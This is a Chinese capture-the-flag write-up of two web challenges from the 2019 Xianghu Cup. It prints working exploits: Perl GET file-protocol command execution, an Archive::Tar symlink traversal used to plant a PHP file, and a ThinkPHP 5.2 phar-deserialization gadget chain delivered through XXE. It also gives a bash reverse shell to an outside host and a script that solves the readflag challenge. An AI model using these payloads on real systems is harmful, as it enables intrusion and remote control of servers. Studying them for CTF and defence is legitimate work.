2019湘湖杯的web题解

前言

有史以来的垃圾比赛,非常垃圾的题目没有自己的见解,有史以来最py的比赛,其实现在的比赛就这样了,但是如果题目的难度大的话,py的人自然就少了。言简意赅,大家懂的。

大家自己体验一波,不过还是把学到的东西总结一下。
0x01 untar
题目给了源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
sandbox/2aeae26864f775d4cad75f15a6c95d97
<?php
$sandbox = "sandbox/" . md5($_SERVER["REMOTE_ADDR"]);
echo $sandbox."</br>";
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET["url"]) && !preg_match('/^(http|https):\/\/.*/', $_GET["url"]))
die();
$url = str_replace("|", "", $_GET["url"]);
$data = shell_exec("GET " . escapeshellarg($url));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
shell_exec("UNTAR ".escapeshellarg(basename($info["basename"])));
highlight_file(__FILE__);
于是去搜索了一波。
原题是HITCON 2017,这段代码先通过XFF判断用户的ip,建立沙盒,并且通过GET传入urlfilename两个参数,通过filename建立新的目录以及文件名,通过url进行shell_execGET命令执行,最终把执行结果放在新生成的目录下的文件名。
里面有几个关键的函数我们先来了解一下。
首先来研究一下pathinfo函数以及basename函数的机制。

下面是pathinfo的测试代码:
1
2
3
4
5
6
7
8
<?php
$path="/var/www/html/shell.php";
$info=pathinfo($path);
print $info["dirname"];
echo "<br>";
print $info["basename"];
echo "<br>";
print $info["extension"];
结果如下:
1
2
3
/var/www/html
shell.php
php
basename()函数返回路径中的文件名部分,如下测试代码:
1
2
3
4
5
6
<?php
$path="/var/www/html/shell.php";
print basename($path);
echo "<br>";
print basename($path,".php");
echo "<br>";
运行的结果如下:
1
2
shell.php
shell
代码对于要建立的目录都会两边basename,如下代码:
1
2
3
4
5
6
7
8
9
<?php
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
echo $dir;
echo "<br>";
echo $info["dirname"]; //$c
echo "<br>";
echo basename($info['basename']);
测试的地址参数:
1
http://localhost/test/demo2.php?url=/&filename=/var/www/html/shell.php
测试的结果如下:
1
2
3
html
/var/www/html
shell.php
如果filename为/a或者a这样的形式,basename($info['basename']);肯定为a的,此时的目录为当前目录,再次用basename返回路径中的文件名肯定为空。如果a/xxx/$c$dir返回的都是a,解释一下原因:第一次返回的basenamea其实相当于./a,那么第二次再用basename返回的文件名肯定也是a。理解了之后题目就比较好做了。
escapeshellarg与escapeshellcmd函数
escapeshellarg
1. 确保用户只能传递一个参数给命令。
2. 用户不能指定更多的参数一个。
3. 用户不能执行不同的命令。
就好比是我传入的ls,那么经过函数的操作后就变成了'ls'。同时会对传入的单引号进行一些安全处理,例如传入l's就会变成'l'\''s'
escapeshellcmd
1.确保用户只执行一个命令
2.用户可以指定不限数量的参数
3.用户不能执行不同的命令
他的作用是将一些危险的符号进行转义,如:
1
&,|,;,\ `
对于orange师傅的原题是GET命令的漏洞
根本的原因在于perlGET函数的底层是调用open处理的,而在perl`中,open是可以执行系统命令的。
例如下面的示例代码:
1
2
3
4
5
root@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# cat ./demo.pl
open(FD,"|id");
print <FD>;
root@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# perl ./demo.pl
uid=0(root) gid=0(root) groups=0(root),999(docker)
从这段命令我们可以看出来perl中的open的作用。同时open是支持file协议的。
1
2
3
4
5
6
7
8
9
The library supports GET and HEAD methods for file requests.  The
"If-Modified-Since" header is supported. All other headers are
ignored. The I<host> component of the file URL must be empty or set
to "localhost". Any other I<host> value will be treated as an error.
Directories are always converted to an HTML document. For normal
files, the "Content-Type" and "Content-Encoding" in the response are
guessed based on the file suffix.
Example:
$req = HTTP::Request->new(GET => 'file:/etc/passwd');
尝试一下file协议读取GEt 'file:/etc/passwd'或者GET '/etc/passwd',都可以成功读取文件内容。下面可以执行系统命令。
1
2
3
root@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# ls
demo.pl ls|
root@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# GET 'file:ls|'
通过以上命令成功执行,这里需要注意的是要有存在的文件名才能成功执行命令,所以新建了一个ls|文件。
orange的原题我们可以建立执行的文件名,再通过file协议去执行就可以了。
首先先看一下目录。
通过Payload url=/&filename=xxx,访问沙盒里面的xxx文件。

发现flagreadflag,flag是空的,readflag是一个二进制文件,需要通过执行readflag来读取flag。
构造文件名bash -c /readflag,通过如下payload
1
2
3
url=/etc/passwd&filename=bash -c /readflag|

url=file:bash -c /readflag|&filename=a
访问沙盒下的a可以得到flag(这里的/etc/passwd的目的只是为了让我的GET命令请求快点)
第二种方法可以利用反弹shell
1
2
3
4
5
url=http://your_vps/port&filename=a

url=/etc/passwd&filename=bash a|

url=file:bash a|&filename=xxx
同样需要在你的vps上放一下一句话反弹bash。
但是上面的这题限制了只能是http或者https,并且过滤了|
因此上面的方式全部失效了。但是我们注意到了最后一句。
1
shell_exec("UNTAR ".escapeshellarg(basename($info["basename"])));
搜索发现https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=900834。这是一个perl的目录穿梭漏洞。
这个是比较详细的介绍http://knqyf263.hatenablog.com/entry/2018/06/27/181037
上面会把文件解压到当前的文件夹中。
如下实验:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
root@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# ln -s /tmp/moo moo
root@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# ls
demo.pl ls| moo
root@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# cat <<EOF> foo
> #!/bin/sh
> echo foo
> EOF
root@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# ls
demo.pl foo ls| moo
root@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# tar zcvf b.tar.gz * --transform='s/foo/moo/g'
demo.pl
foo
ls|
moo
root@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# tar -tvvf b.tar.gz
-rw-r--r-- root/root 28 2019-11-11 18:18 demo.pl
-rw-r--r-- root/root 19 2019-11-12 11:36 moo
-rw-r--r-- root/root 0 2019-11-11 18:28 ls|
lrwxrwxrwx root/root 0 2019-11-12 11:36 moo -> /tmp/moo
root@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# ls /tmp/moo
ls: cannot access '/tmp/moo': No such file or directory
root@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# $ perl -MArchive::Tar -e 'Archive::Tar->extract_archive("traversal.tar.gz")'
$: command not found
root@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# $ perl -MArchive::Tar -e 'Archive::Tar->extract_archive("b.tar.gz")'
$: command not found
root@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# ls
b.tar.gz demo.pl foo ls| moo
root@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# perl -MArchive::Tar -e 'Archive::Tar->extract_archive("b.tar.gz")'
Making symbolic link '/root/perl_file/moo' to '/tmp/moo' failed at -e line 1.
root@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# cat /tmp/moo
#!/bin/sh
echo foo
root@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# ls
b.tar.gz demo.pl foo ls| moo
root@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# rm -rf /tmp/moo
root@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file# cat /tmp/moo
cat: /tmp/moo: No such file or directory
root@iZ2zeddon3u9gfk9gnpzscZ:~/perl_file#
因此可以这样构造:
1
2
3
4
5
ln -s /var/www/html/sandbox/wen.php wen
tar -cf b.tar wen
rm wen
echo '<?php echo system("/readflag");'>wen
tar -rf b.tar wen
同时我们还可以使用这个来归档为同名文件
1
tar zcvf b.tar.gz * --transform='s/{你的文件名}{软连接}'
然后通过访问包含我们的b.tar
1
http://183.129.189.62:17507/?url=http://123.57.232.69:8302/php_file/b.tar&filename=b.tar
然后在沙盒中可以看到b.tar文件。
然后再通过包含sandbox的文件来rce。
1
http://183.129.189.62:17507/?url=http://183.129.189.62:17507/sandbox/2aeae26864f775d4cad75f15a6c95d97/b.tar&filename=b.tar
最后我们访问
1
http://183.129.189.62:17507/sandbox/wen.php
拿到flag如下:
1
flag{3c3bf67443640154c155ce9b2eb5ce7a}
0x02 Ticket_system[12end师傅]
题目描述:
1. 首先题目有个文件上传的点,然后有个可以提交xml的地方。那么我们就可以通过这两个点了展开我们的攻击。
2. 现在我们先尝试一下xxe:

可以看到成功的读取了本地文件。
我们通过读取源码发现是thinkPhp的空架版本是5.2.0,通过搜索找到了Smile的一个5.2.x的版本的反序列化链,下面是payload:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php
namespace think\process\pipes {
class Windows
{
private $files;
public function __construct($files)
{
$this->files = array($files);
}
}
}

namespace think\model\concern {
trait Conversion
{
protected $append = array("Smi1e" => "1");
}

trait Attribute
{
private $data;
private $withAttr = array("Smi1e" => "system");

public function get($system)
{
$this->data = array("Smi1e" => "$system");
}
}
}
namespace think {
abstract class Model
{
use model\concern\Attribute;
use model\concern\Conversion;
}
}

namespace think\model{
use think\Model;
class Pivot extends Model
{
public function __construct($system)
{
$this->get($system);
}
}
}

namespace {
$Conver = new think\model\Pivot("sleep 100");
$payload = new think\process\pipes\Windows($Conver);
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($payload); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
echo urlencode(serialize($payload));
}
?>
我们配合phar://反序列化进行rce。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /postXML HTTP/1.1
Host: 47.105.78.102
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: application/xml, text/xml, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/xml;charset=utf-8
X-Requested-With: XMLHttpRequest
Content-Length: 227
Connection: close
Referer: http://47.105.78.102/ticket
Cookie: PHPSESSID=lhps1inapcge7mumnt07jrqn82

<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "phar:///tmp/uploads/21232f297a57a5a743894a0e4a801fc3/20191110/acfeb10ed83aad76c0c2249ce7e93996.xml" >]>
<ticket><username>&xxe;</username><code>1111111</code></ticket>
sleep 100改成bash -c 'bash -i >/dev/tcp/1.1.1.1/4444 0>&1',然后在自己的服务器监听一下。就可以反弹shell了。
getshell后发现并不能读取flag文件由于对www-data有权限的设置,但是在根目录下有一个readflag的二进制文件,但是执行它会出现一个随机计算的式子,由于nc这样的shell不能交互,但是上面有php和perl的环境那么我们可以上传文件去执行建立交互。从从而获得flag。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
$descriptorspec = array(
0 => array("pipe", "r"), // 标准输入,子进程从此管道中读取数据
1 => array("pipe", "w"), // 标准输出,子进程向此管道中写入数据
2 => array("file", "/tmp/error-output.txt", "a") // 标准错误,写入到一个文件
);

$cwd = '/tmp';
$env = array('some_option' => 'aeiou');

$process = proc_open('/readflag', $descriptorspec, $pipes, $cwd, $env);

if (is_resource($process)) {
// $pipes 现在看起来是这样的:
// 0 => 可以向子进程标准输入写入的句柄
// 1 => 可以从子进程标准输出读取的句柄
// 错误输出将被追加到文件 /tmp/error-output.txt

//fwrite($pipes[0], '');
//fclose($pipes[0]);

$output1 = fread($pipes[1],1024);
var_dump($output);
$output2 = fread($pipes[1],1024);
var_dump($output);
$output3 = fread($pipes[1],1024);
var_dump($output);

$calc = trim($output2);
$an = eval("return $calc;");
var_dump($an);
fwrite($pipes[0], (string)$an."\n");

$output = stream_get_contents($pipes[1]);
var_dump($output);


// 切记:在调用 proc_close 之前关闭所有的管道以避免死锁。
$return_value = proc_close($process);

echo "command returned $return_value\n";
}
?>
自己写的:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
$descriptorspec = array(
0 => array("pipe", "r"), // 标准输入,子进程从此管道中读取数据
1 => array("pipe", "w"), // 标准输出,子进程向此管道中写入数据
2 => array("file", "/tmp/error-output.txt", "a") // 标准错误,写入到一个文件
);

$process = proc_open('/readflag', $descriptorspec, $pipes, $cwd, $env);

if (is_resource($process)) {
$question = fread($pipes[1],1024); // 获取程序问题
$question = fread($pipes[1],1024); // 获取程序问题
$question = trim($question);
var_dump($question);
eval('$result = '.$question.';'); // 计算问题结果
fwrite($pipes[0], $result); // 回答程序问题
fclose($pipes[0]);
var_dump($result);

// $flag = stream_get_contents($pipes[1]);// getflag
$flag = fread($pipes[1],1024);
$flag = fread($pipes[1],1024);
$flag = fread($pipes[1],1024);

fclose($pipes[1]);
var_dump($flag);

$return_value = proc_close($process);

echo "command returned $return_value\n";
}
?>
运行的结果: